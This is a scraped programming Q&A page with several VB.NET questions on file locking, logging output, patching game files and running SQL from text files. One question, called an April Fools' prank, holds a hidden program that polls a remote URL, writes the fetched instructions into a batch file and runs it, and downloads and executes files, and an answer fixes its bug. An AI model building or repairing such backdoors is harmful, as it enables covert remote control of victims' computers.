I have a Sub that reads a file that was created in another Sub. I'm getting an error
Can't access file in use in other process
From what I've read on the net I need to close the StreamReader. I've tried to use .close() on different variables, but nothing seems to work.
Below is the code that writes the file the other Sub then accesses.
Private Sub CreateGraphicsFunction(sender As Object, e As EventArgs)
Dim Regex = New Regex("infoEntityIdent=""(ICN.+?)[""].*?[>]")
strGraphicFile = MoveLocation & "\ICN-LIST.txt"
Dim ICNFiles = Directory.EnumerateFiles(MovePath, "*.*", SearchOption.AllDirectories)
For Each tFile In ICNFiles
Dim input = File.ReadAllText(tFile)
Dim match = Regex.Match(input)
If match.Success Then
output.Add(match.Groups(1).Value)
End If
Next
File.WriteAllLines(strGraphicFile, output)
locationGraphicsLog = strGraphicFile
End Sub
The other Sub that reads the file created
Private Sub btnFindICN_Click(sender As Object, e As EventArgs) Handles btnFindICN.Click
Application.UseWaitCursor = True
Application.DoEvents()
Me.Refresh()
Dim sGraphicFilesToFind As String
Dim graphicLocation As String
'MoveWithPath As String
Dim graphicFile As String
graphicLocation = txtSearchICN.Text
MoveLocation = MovePath
graphicLogFile = MoveLocation & "\Reports\1-OrphanedFilesItems.txt"
Dim FILE_NAME As String
FILE_NAME = MoveLocation & "\ICN-LIST.txt"
Dim objReader As New System.IO.StreamReader(FILE_NAME)
Dim sGraphicFile As String
Do While objReader.Peek() <> -1
graphicFile = objReader.ReadLine()
sGraphicFilesToFind = graphicLocation & "\" & graphicFile & "*.*"
sGraphicFile = graphicFile
Dim createGraphicReportFldr As String
Dim paths() As String = IO.Directory.GetFiles(graphicLocation, sGraphicFile, IO.SearchOption.AllDirectories)
If paths.Count = 0 Then
'Debug.Print(graphicFile)
If System.IO.File.Exists(graphicLogFile) = True Then
Dim objWriter As New System.IO.StreamWriter(graphicLogFile, IO.FileMode.Append)
objWriter.WriteLine(graphicFile)
objWriter.Close()
Else
'MsgBox("Creating Orphaned graphicFile Now. ")
createGraphicReportFldr = MoveLocation & "\Reports"
If Not IO.Directory.Exists(createGraphicReportFldr) Then
IO.Directory.CreateDirectory(createGraphicReportFldr)
'MsgBox("folder created" & createGraphicReportFldr)
Dim writeFile As IO.StreamWriter
writeFile = IO.File.CreateText(graphicLogFile)
writeFile.Write(graphicFile & vbCrLf)
writeFile.Close()
Else
'MsgBox("Folder already exist")
End If
End If
Else
For Each pathAndFileName As String In paths
Dim createGraphicsFolder As String
'Dim moveFileToNewFolder As String
If System.IO.File.Exists(pathAndFileName) = True Then
Dim sRegLast As String = pathAndFileName.Substring(pathAndFileName.LastIndexOf("\") + 1)
Dim toGraphiicFileLocation As String
'MsgBox("sRegLast " & sRegLast)
fileGraphicLoc = MoveLocation & sRegLast
createGraphicsFolder = MoveLocation & "\Figures"
moveGraphicFileToNewFolder = MoveLocation & "\Figures\" & sRegLast
toGraphiicFileLocation = createGraphicsFolder & "\" & sRegLast
'MsgBox("FileLoc " & fileLoc)
If Not IO.Directory.Exists(createGraphicsFolder) Then
IO.Directory.CreateDirectory(createGraphicsFolder)
' MsgBox("folder created" & createGraphicsFolder)
End If
If System.IO.File.Exists(fileGraphicLoc) = False Then
System.IO.File.Copy(pathAndFileName, moveGraphicFileToNewFolder)
Debug.Write("Graphics moved to : " & moveGraphicFileToNewFolder & vbCrLf)
End If
End If
Next
End If
Loop
'MsgBox("graphicFiles have been moved")
Call CreateGraphicsFunction(Nothing, System.EventArgs.Empty)
Application.UseWaitCursor = False
Application.DoEvents()
' Me.Close()
End Sub
In the "other Sub", change
Dim objReader As New System.IO.StreamReader(FILE_NAME)
to
Using objReader = New System.IO.StreamReader(FILE_NAME)
and add End Using where you are done with it. Probably right after Loop. This will ensure that the disposable stream is always disposed.
See Using Statement (Visual Basic). You almost always want to wrap an IDisposable object in a Using block if you are able to restrict its scope to a single method.
Related
Public Function GetMetaDataFromPIC(ByVal _imgpath As String) As String
Dim fname As String
Dim RichTextBox1 As New RichTextBox
Dim myStreamReader As System.IO.StreamReader
Dim OneLine As String
Dim ffmpeg As Process
Dim Fi As FileInfo
Try
Application.DoEvents()
Fi = New FileInfo(_imgpath)
'fcreated_date = Fi.LastWriteTime.ToShortDateString
fname = _imgpath
ffmpeg = New Process
ffmpeg.StartInfo.WindowStyle = ProcessWindowStyle.Normal
ffmpeg.StartInfo.FileName = """" & Application.StartupPath & "\exiftool.exe"""
ffmpeg.StartInfo.UseShellExecute = False
ffmpeg.StartInfo.RedirectStandardError = True
ffmpeg.StartInfo.RedirectStandardOutput = True
ffmpeg.StartInfo.CreateNoWindow = True
'ffmpeg.StartInfo.Arguments = "-verbose & """ & _imgpath & """ "
ffmpeg.StartInfo.Arguments = " & """ & _imgpath & """ "
ffmpeg.Start()
RichTextBox1.Text = ""
myStreamReader = ffmpeg.StandardOutput
Dim i As Integer = 0
OneLine = myStreamReader.ReadLine()
Do
' Application.DoEvents()
i = i + 1
RichTextBox1.AppendText(OneLine + System.Environment.NewLine)
OneLine = myStreamReader.ReadLine()
If i > 200 Then Exit Do
Loop Until ffmpeg.HasExited And (OneLine Is Nothing)
If RichTextBox1.Text <> "" Then
GetMetaDataFromPIC = RichTextBox1.Text
Else
GetMetaDataFromPIC = ""
End If
myStreamReader.Close()
Catch ex As Exception
Write_ErrorLog(ex.Message & vbTab & "GetMetaDataFromPIC of " & _imgpath)
GetMetaDataFromPIC = ""
Finally
End Try
End Function
this is the code i am using to find metadata of image but everyday once in night i get this Error Creating Windows Handles error and it crash my application.
I have the follow code that works for sending the output to a richtextbox. I cant figure out how to also have the output sent to a log file if I choose as well. this is the beginnings of my code for choosing to log the output. I cant figure out how to get it to log the output to the file location.
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
If (OpenFileDialog1.ShowDialog() = DialogResult.OK) Then
TextBox31.Text = Chr(34) & OpenFileDialog1.FileName & Chr(34)
End If
End Sub
here is my working code for displaying the output in the richtextbox.
Private Sub ExecuteButton_Click(sender As Object, e As EventArgs) Handles ExecuteButton.Click
System.Windows.Forms.Application.DoEvents()
Dim myprocess As New Process
Dim startinfo As New ProcessStartInfo(TextBox3.Text, TextBox1.Text) With {
.UseShellExecute = False,
.RedirectStandardOutput = True,
.CreateNoWindow = True
}
myprocess.StartInfo = startinfo
myprocess.Start()
Dim str1 As String = ""
Using MyStreamReader As IO.StreamReader = myprocess.StandardOutput
str1 &= MyStreamReader.ReadToEnd
End Using
RichTextBox1.Text = str1
End Sub
Note: This is what I used to be able to log the output
If CheckBox34.Checked = True Then
Dim objWriter As New System.IO.StreamWriter(TextBox31.Text & "\" & Format(Now, "dd-MMM-yyyy") & ".log", True)
objWriter.WriteLine(Format(Now, "dd-MMM-yyyy HH:mm:ss ") & TextBox4.Text & vbCrLf & str1)
objWriter.Close()
End If
Try With this sample:
Dim MyPath = "C:\MyLog.Log"
FileOpen(1, MyPath, OpenMode.Append)
Dim lNumberofRecs = LOF(1)
Print(1, Format(Now, "dd-MMM-yyyy HH:mm:ss") & "#Import Begin" & vbCrLf)
FileClose(1)
or with this:
Dim objWriter As New System.IO.StreamWriter("C:\MyData\mylog.log", True)
objWriter.WriteLine("each log data you have")
objWriter.Close()
This program has a "fl" variable that at a specific point, gets changed to file(0), the first line of the read file. I want to run some stuff when "fl" IS NOT EQUAL to "file(0)". I'm making this for the 1st of April. I'm not the best at this, so I figured to start this early. (CTRL + F for THIS_LINE if you want to find the line that I suppose doesn't work.)
Imports System
Imports System.IO
Imports System.Collections
Public Class Form1
Private Property fl As String
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.Opacity = 0
start.Enabled = True
End Sub
Private Sub start_Tick(sender As Object, e As EventArgs) Handles start.Tick
main()
start.Enabled = False
End Sub
Private Sub main()
' Preparations
start.Enabled = False
Me.Hide()
Dim stopval As Integer = 0
Dim failcount As Integer = 0
If Directory.Exists(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb") = False Then
My.Computer.FileSystem.CreateDirectory(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\")
End If
If File.Exists(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt") Then
My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt")
End If
Dim fl As String = "asd"
' Actual stuff that needs to happen
dlfile.Enabled = True
End Sub
Private Sub dlfile_Tick(sender As Object, e As EventArgs) Handles dlfile.Tick
Try
My.Computer.Network.DownloadFile("http://sth.sth/v.txt", My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt")
Catch ex As Exception
MsgBox("fail")
Dim asd As Integer = 0
End Try
dlsuc()
End Sub
Private Sub dlsuc()
Dim x As Integer = 0
Threading.Thread.Sleep(3000)
Dim file_ As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt"
Dim file As String() = IO.File.ReadAllLines(file_)
Dim firstline As String = file(0)
Dim secondline As String = file(1)
If fl IsNot file(0) Then 'THIS_LINE
' Executing the command
If secondline = "command" Then
Dim file_name As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat"
Dim i As Integer
Dim aryText(3) As String
aryText(0) = "#echo off"
aryText(1) = "cls"
aryText(2) = file(2)
aryText(3) = "pause"
Dim objWriter As New System.IO.StreamWriter(file_name)
For i = 0 To 3
objWriter.WriteLine(aryText(i))
Next
objWriter.Close()
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat")
Threading.Thread.Sleep(500)
Do Until x > 49
Try
My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat")
Catch ex As Exception
Dim xyz As String = Nothing
End Try
x = x + 1
Loop
End If
If secondline = "download" Then
Dim filename As String = file(3)
My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
End If
If secondline = "downloadr" Then
Dim filename As String = file(3)
My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
End If
End If
' After executing the given command
fl = file(0)
Threading.Thread.Sleep(500)
My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt")
file_ = Nothing
file = Nothing
firstline = Nothing
secondline = Nothing
End Sub
End Class
Update:
Also, do you know why doesn't this work? I trid it with them in one if too:
If Not fl.Equals(file(0)) Or Not fl.Equals("000") Then
End If
But it's not working
Private Sub dlsuc()
Dim x As Integer = 0
Threading.Thread.Sleep(3000)
Dim file_ As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt"
Dim file As String() = IO.File.ReadAllLines(file_)
Dim firstline As String = file(0)
Dim secondline As String = file(1)
If Not fl.Equals(file(0)) Then 'THIS_LINE
If Not fl = "000" Then
' Executing the command
If secondline = "command" Then
Dim file_name As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat"
Dim i As Integer
Dim aryText(3) As String
aryText(0) = "#echo off"
aryText(1) = "cls"
aryText(2) = file(2)
aryText(3) = "pause"
Dim objWriter As New System.IO.StreamWriter(file_name)
For i = 0 To 3
objWriter.WriteLine(aryText(i))
Next
objWriter.Close()
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat")
Threading.Thread.Sleep(500)
Do Until x > 49
Try
My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat")
Catch ex As Exception
Dim xyz As String = Nothing
End Try
x = x + 1
Loop
End If
If secondline = "download" Then
Dim filename As String = file(3)
My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
End If
If secondline = "downloadr" Then
Dim filename As String = file(3)
My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
End If
End If
End If
' After executing the given command
fl = file(0)
Threading.Thread.Sleep(500)
My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt")
file_ = Nothing
file = Nothing
firstline = Nothing
secondline = Nothing
End Sub
Then change this
If fl IsNot file(0) Then 'THIS_LINE
to
If Not fl.Equals(file(0)) Then 'THIS_LINE
Side note:
You have declared fl twice, so if that was not intended, change this
Dim fl As String = "asd"`
to this
fl = "asd"
I want to change something on a compiled game file, so I used this code:
Private Sub Next2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Next2.Click
Dim reader As New System.IO.StreamReader("Languages/" & Language & ".Devil")
Dim allLines As List(Of String) = New List(Of String)
Do While Not reader.EndOfStream
allLines.Add(reader.ReadLine())
Loop
reader.Close()
Tips.Text = ReadLine(6, allLines)
WeaponsListBox.Hide()
NewWeaponsList.Hide()
Next2.Hide()
Dim curItem As String = WeaponsListBox.SelectedItem.ToString()
Dim curItem2 As String = NewWeaponsList.SelectedItem.ToString()
Try
If MainWeapon = "Cheytac" Then
Dim supahotfire As String = curItem.Substring(0, 12)
Dim hotdestroyer As String = curItem.Replace(supahotfire, "")
Dim supa2 As String = curItem2.Substring(0, 12)
Dim hot2 As String = curItem2.Replace(supa2, "")
Dim oldfile As String = "pack/Weapon_" & curItem & ".i3pack"
Dim FileName As String = "pack/pack_" & MainWeapon & hot2 & "_" & hotdestroyer & ".i3pack"
Dim be = My.Computer.FileSystem.ReadAllBytes(oldfile)
Dim be2 As String = UnicodeBytesToString(be)
be2.Replace("Weapon\" & curItem & "/" & curItem & "_diff", "Weapon\" & curItem2 & "/" & curItem2 & "_diff")
Dim be3 As String = be2.Replace("Weapon\" & curItem & "/Cheytac_M200_Diff.i3i", "Weapon\" & curItem2 & "/Cheytac_M200_Diff.i3i")
Dim be4 = UnicodeStringToBytes(be3)
My.Computer.FileSystem.WriteAllBytes(FileName, be4, True)
'System.IO.File.AppendAllText(FileName, be4)
' Dim fs As FileStream = New FileStream(oldfile, FileMode.Open)
' Dim br As BinaryReader = New BinaryReader(fs)
'Dim bin as byte[]= br.ReadBytes(Convert.ToInt32(fs.Length));
' fs.Close()
'br.Close()
End If
Catch ex As Exception
System.IO.File.AppendAllText("MathimaticalErrors.txt", ex.ToString)
End Try
End Sub
Public Function UnicodeBytesToString(ByVal bytes() As Byte) As String
Return System.Text.Encoding.Unicode.GetString(bytes)
End Function
Public Function UnicodeStringToBytes(ByVal str As String) As Byte()
Return System.Text.Encoding.Unicode.GetBytes(str)
End Function
The problem is that the newly created file is basically the same as the old file, and nothing has changed on it. How can I solve this?
At this point in your code:
Dim be2 As String = UnicodeBytesToString(be)
be2.Replace("Weapon\" & curItem & "/" & curItem & "_diff", "Weapon\" & curItem2 & "/" & curItem2 & "_diff")
The value in be2 would remain unchanged. You have to store the return value of Replace():
Dim be2 As String = UnicodeBytesToString(be)
be2 = be2.Replace("Weapon\" & curItem & "/" & curItem & "_diff", "Weapon\" & curItem2 & "/" & curItem2 & "_diff")
Also, at this line:
My.Computer.FileSystem.WriteAllBytes(FileName, be4, True)
The True at the end means you want to append the bytes. If the file is empty this will be fine. If not, then you'll end up adding the bytes to the end of the file each time. Not sure if that is your intended result...
I need code to read a .txt file which is in my project bin\debug directory that contains SQL code to create tables in a large number it size of 936kb
This following code only I'm using...
By using this it gives result like table created but it is not reading the file... there is nothing in the database
Public Function readTextFile(ByVal fileName As String) As String
Dim strContent As String()
Dim x As String = ""
Try
'fileName = "CSYSS802.txt"
If Not System.IO.File.Exists(fileName) Then
'o Until EOF()
strContent = System.IO.File.ReadAllLines(fileName)
For Each Str As String In strContent
x = x + Str
Next
readTextFile = x
End If
Catch ex As Exception
MessageBox.Show(ex.ToString)
End Try
readTextFile = x
End Function
Public Sub createTable(ByVal vdbs As String, ByVal file As String)
username = frmlogin.txtusername.Text
password = frmlogin.txtusername.Text
vsvr = vServer
vdb = Trim$(vdbs)
strCon1 = "Server=" & vsvr & ";Database=" & vdb & ";uid=" & username & ";pwd=" & password & ";"
sqlCon1 = New SqlClient.SqlConnection(strCon1)
sqlCon1.Open()
Dim arr() As String
arr = Split(readTextFile(file), "GO")
Dim i As String
For Each i In arr
If i <> "" Then
Dim cmd2 As New SqlClient.SqlCommand("" & i & "")
cmd2.CommandType = CommandType.Text
cmd2.ExecuteNonQuery()
End If
Next
End Sub
In the readTextFile function, it will only attempt to read the text from the text file if the file DOESN'T exist. If the text file exists then the function returns an empty string and if the text file doesn't exist, the function will throw a file not found exception.
Replace:
If Not System.IO.File.Exists(fileName) Then
with:
If System.IO.File.Exists(fileName) = True Then
You might also want to include an Else clause in case the file doesn't exist as it won't throw an error since you have handled it correctly.
If System.IO.File.Exists(fileName) = True Then
strContent = System.IO.File.ReadAllLines(fileName)
For Each Str As String In strContent
x &= Str
Next
Return x
Else
MessageBox.Show("The file '" & fileName & "' does not exist.")
Return ""
End If
My Self I had Found The solution..I attache the Following Code...It now Creating All tables Properly..
Make sure that each Sql Commands in your Text File ends with go.. because i used "GO" Keyword to split the text...
Public Sub createTable(ByVal vdbs As String, ByVal file As String)
username = frmlogin.txtusername.Text
password = frmlogin.txtusername.Text
vsvr = vServer
vdb = Trim$(vdbs)
strCon1 = "Server=" & vsvr & ";Database=" & vdb & ";uid=" & username & ";pwd=" & password & ";"
sqlCon1 = New SqlClient.SqlConnection(strCon1)
sqlCon1.Open()
Dim arr() As String
arr = Split(readTextFile(file), " GO ")
Dim i As String
For Each i In arr
If i <> "" Then
Dim cmd2 As New SqlClient.SqlCommand("" & i & "", sqlCon1)
cmd2.CommandType = CommandType.Text
cmd2.ExecuteNonQuery()
End If
Next
End Sub
Public Function readTextFile(ByVal file As String) As String
Dim fso As New System.Object
Dim ts As Scripting.TextStream
Dim sLine As String
fso = CreateObject("Scripting.FileSystemObject")
ts = fso.openTextFile(file)
Do Until ts.AtEndOfStream
sLine = sLine & " " & ts.ReadLine
Loop
ts.Close()
fso = Nothing
readTextFile = sLine
End Function